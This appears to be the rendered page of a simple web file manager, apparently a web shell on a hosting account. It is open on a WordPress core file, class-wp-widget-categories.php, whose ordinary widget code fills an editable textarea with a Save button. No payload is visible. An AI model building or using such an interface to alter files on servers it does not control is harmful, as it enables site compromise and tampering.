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<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fusr%2F'>usr</a>/<a href='?path=%2Fusr%2Fwww%2F'>www</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2F'>users</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2F'>svninyjgba</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-includes%2F'>wp-includes</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-includes%2Fwidgets%2F'>widgets</a>/</p><hr><h3>✏️ Editing: class-wp-widget-categories.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/**
 * Widget API: WP_Widget_Categories class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement a Categories widget.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Categories extends WP_Widget {

	/**
	 * Sets up a new Categories widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops = array(
			&#039;classname&#039;                   =&gt; &#039;widget_categories&#039;,
			&#039;description&#039;                 =&gt; __( &#039;A list or dropdown of categories.&#039; ),
			&#039;customize_selective_refresh&#039; =&gt; true,
			&#039;show_instance_in_rest&#039;       =&gt; true,
		);
		parent::__construct( &#039;categories&#039;, __( &#039;Categories&#039; ), $widget_ops );
	}

	/**
	 * Outputs the content for the current Categories widget instance.
	 *
	 * @since 2.8.0
	 * @since 4.2.0 Creates a unique HTML ID for the `&lt;select&gt;` element
	 *              if more than one instance is displayed on the page.
	 *
	 * @param array $args     Display arguments including &#039;before_title&#039;, &#039;after_title&#039;,
	 *                        &#039;before_widget&#039;, and &#039;after_widget&#039;.
	 * @param array $instance Settings for the current Categories widget instance.
	 */
	public function widget( $args, $instance ) {
		static $first_dropdown = true;

		$default_title = __( &#039;Categories&#039; );
		$title         = ! empty( $instance[&#039;title&#039;] ) ? $instance[&#039;title&#039;] : $default_title;

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( &#039;widget_title&#039;, $title, $instance, $this-&gt;id_base );

		$count        = ! empty( $instance[&#039;count&#039;] ) ? &#039;1&#039; : &#039;0&#039;;
		$hierarchical = ! empty( $instance[&#039;hierarchical&#039;] ) ? &#039;1&#039; : &#039;0&#039;;
		$dropdown     = ! empty( $instance[&#039;dropdown&#039;] ) ? &#039;1&#039; : &#039;0&#039;;

		echo $args[&#039;before_widget&#039;];

		if ( $title ) {
			echo $args[&#039;before_title&#039;] . $title . $args[&#039;after_title&#039;];
		}

		$cat_args = array(
			&#039;orderby&#039;      =&gt; &#039;name&#039;,
			&#039;show_count&#039;   =&gt; $count,
			&#039;hierarchical&#039; =&gt; $hierarchical,
		);

		if ( $dropdown ) {
			printf( &#039;&lt;form action=&quot;%s&quot; method=&quot;get&quot;&gt;&#039;, esc_url( home_url() ) );
			$dropdown_id    = ( $first_dropdown ) ? &#039;cat&#039; : &quot;{$this-&gt;id_base}-dropdown-{$this-&gt;number}&quot;;
			$first_dropdown = false;

			echo &#039;&lt;label class=&quot;screen-reader-text&quot; for=&quot;&#039; . esc_attr( $dropdown_id ) . &#039;&quot;&gt;&#039; . $title . &#039;&lt;/label&gt;&#039;;

			$cat_args[&#039;show_option_none&#039;] = __( &#039;Select Category&#039; );
			$cat_args[&#039;id&#039;]               = $dropdown_id;

			/**
			 * Filters the arguments for the Categories widget drop-down.
			 *
			 * @since 2.8.0
			 * @since 4.9.0 Added the `$instance` parameter.
			 *
			 * @see wp_dropdown_categories()
			 *
			 * @param array $cat_args An array of Categories widget drop-down arguments.
			 * @param array $instance Array of settings for the current widget.
			 */
			wp_dropdown_categories( apply_filters( &#039;widget_categories_dropdown_args&#039;, $cat_args, $instance ) );

			echo &#039;&lt;/form&gt;&#039;;

			ob_start();
			?&gt;

&lt;script&gt;
( ( dropdownId ) =&gt; {
	const dropdown = document.getElementById( dropdownId );
	function onSelectChange() {
		setTimeout( () =&gt; {
			if ( &#039;escape&#039; === dropdown.dataset.lastkey ) {
				return;
			}
			if ( dropdown.value &amp;&amp; parseInt( dropdown.value ) &gt; 0 &amp;&amp; dropdown instanceof HTMLSelectElement ) {
				dropdown.parentElement.submit();
			}
		}, 250 );
	}
	function onKeyUp( event ) {
		if ( &#039;Escape&#039; === event.key ) {
			dropdown.dataset.lastkey = &#039;escape&#039;;
		} else {
			delete dropdown.dataset.lastkey;
		}
	}
	function onClick() {
		delete dropdown.dataset.lastkey;
	}
	dropdown.addEventListener( &#039;keyup&#039;, onKeyUp );
	dropdown.addEventListener( &#039;click&#039;, onClick );
	dropdown.addEventListener( &#039;change&#039;, onSelectChange );
})( &lt;?php echo wp_json_encode( $dropdown_id, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ); ?&gt; );
&lt;/script&gt;

			&lt;?php
			wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) . &quot;\n//# sourceURL=&quot; . rawurlencode( __METHOD__ ) );
		} else {
			$format = current_theme_supports( &#039;html5&#039;, &#039;navigation-widgets&#039; ) ? &#039;html5&#039; : &#039;xhtml&#039;;

			/** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */
			$format = apply_filters( &#039;navigation_widgets_format&#039;, $format );

			if ( &#039;html5&#039; === $format ) {
				// The title may be filtered: Strip out HTML and make sure the aria-label is never empty.
				$title      = trim( strip_tags( $title ) );
				$aria_label = $title ? $title : $default_title;
				echo &#039;&lt;nav aria-label=&quot;&#039; . esc_attr( $aria_label ) . &#039;&quot;&gt;&#039;;
			}
			?&gt;

			&lt;ul&gt;
				&lt;?php
				$cat_args[&#039;title_li&#039;] = &#039;&#039;;

				/**
				 * Filters the arguments for the Categories widget.
				 *
				 * @since 2.8.0
				 * @since 4.9.0 Added the `$instance` parameter.
				 *
				 * @param array $cat_args An array of Categories widget options.
				 * @param array $instance Array of settings for the current widget.
				 */
				wp_list_categories( apply_filters( &#039;widget_categories_args&#039;, $cat_args, $instance ) );
				?&gt;
			&lt;/ul&gt;

			&lt;?php
			if ( &#039;html5&#039; === $format ) {
				echo &#039;&lt;/nav&gt;&#039;;
			}
		}

		echo $args[&#039;after_widget&#039;];
	}

	/**
	 * Handles updating settings for the current Categories widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings to save.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance                 = $old_instance;
		$instance[&#039;title&#039;]        = sanitize_text_field( $new_instance[&#039;title&#039;] );
		$instance[&#039;count&#039;]        = ! empty( $new_instance[&#039;count&#039;] ) ? 1 : 0;
		$instance[&#039;hierarchical&#039;] = ! empty( $new_instance[&#039;hierarchical&#039;] ) ? 1 : 0;
		$instance[&#039;dropdown&#039;]     = ! empty( $new_instance[&#039;dropdown&#039;] ) ? 1 : 0;

		return $instance;
	}

	/**
	 * Outputs the settings form for the Categories widget.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		// Defaults.
		$instance     = wp_parse_args( (array) $instance, array( &#039;title&#039; =&gt; &#039;&#039; ) );
		$count        = isset( $instance[&#039;count&#039;] ) ? (bool) $instance[&#039;count&#039;] : false;
		$hierarchical = isset( $instance[&#039;hierarchical&#039;] ) ? (bool) $instance[&#039;hierarchical&#039;] : false;
		$dropdown     = isset( $instance[&#039;dropdown&#039;] ) ? (bool) $instance[&#039;dropdown&#039;] : false;
		?&gt;
		&lt;p&gt;
			&lt;label for=&quot;&lt;?php echo $this-&gt;get_field_id( &#039;title&#039; ); ?&gt;&quot;&gt;&lt;?php _e( &#039;Title:&#039; ); ?&gt;&lt;/label&gt;
			&lt;input class=&quot;widefat&quot; id=&quot;&lt;?php echo $this-&gt;get_field_id( &#039;title&#039; ); ?&gt;&quot; name=&quot;&lt;?php echo $this-&gt;get_field_name( &#039;title&#039; ); ?&gt;&quot; type=&quot;text&quot; value=&quot;&lt;?php echo esc_attr( $instance[&#039;title&#039;] ); ?&gt;&quot; /&gt;
		&lt;/p&gt;

		&lt;p&gt;
			&lt;input type=&quot;checkbox&quot; class=&quot;checkbox&quot; id=&quot;&lt;?php echo $this-&gt;get_field_id( &#039;dropdown&#039; ); ?&gt;&quot; name=&quot;&lt;?php echo $this-&gt;get_field_name( &#039;dropdown&#039; ); ?&gt;&quot;&lt;?php checked( $dropdown ); ?&gt; /&gt;
			&lt;label for=&quot;&lt;?php echo $this-&gt;get_field_id( &#039;dropdown&#039; ); ?&gt;&quot;&gt;&lt;?php _e( &#039;Display as dropdown&#039; ); ?&gt;&lt;/label&gt;
			&lt;br /&gt;

			&lt;input type=&quot;checkbox&quot; class=&quot;checkbox&quot; id=&quot;&lt;?php echo $this-&gt;get_field_id( &#039;count&#039; ); ?&gt;&quot; name=&quot;&lt;?php echo $this-&gt;get_field_name( &#039;count&#039; ); ?&gt;&quot;&lt;?php checked( $count ); ?&gt; /&gt;
			&lt;label for=&quot;&lt;?php echo $this-&gt;get_field_id( &#039;count&#039; ); ?&gt;&quot;&gt;&lt;?php _e( &#039;Show post counts&#039; ); ?&gt;&lt;/label&gt;
			&lt;br /&gt;

			&lt;input type=&quot;checkbox&quot; class=&quot;checkbox&quot; id=&quot;&lt;?php echo $this-&gt;get_field_id( &#039;hierarchical&#039; ); ?&gt;&quot; name=&quot;&lt;?php echo $this-&gt;get_field_name( &#039;hierarchical&#039; ); ?&gt;&quot;&lt;?php checked( $hierarchical ); ?&gt; /&gt;
			&lt;label for=&quot;&lt;?php echo $this-&gt;get_field_id( &#039;hierarchical&#039; ); ?&gt;&quot;&gt;&lt;?php _e( &#039;Show hierarchy&#039; ); ?&gt;&lt;/label&gt;
		&lt;/p&gt;
		&lt;?php
	}
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
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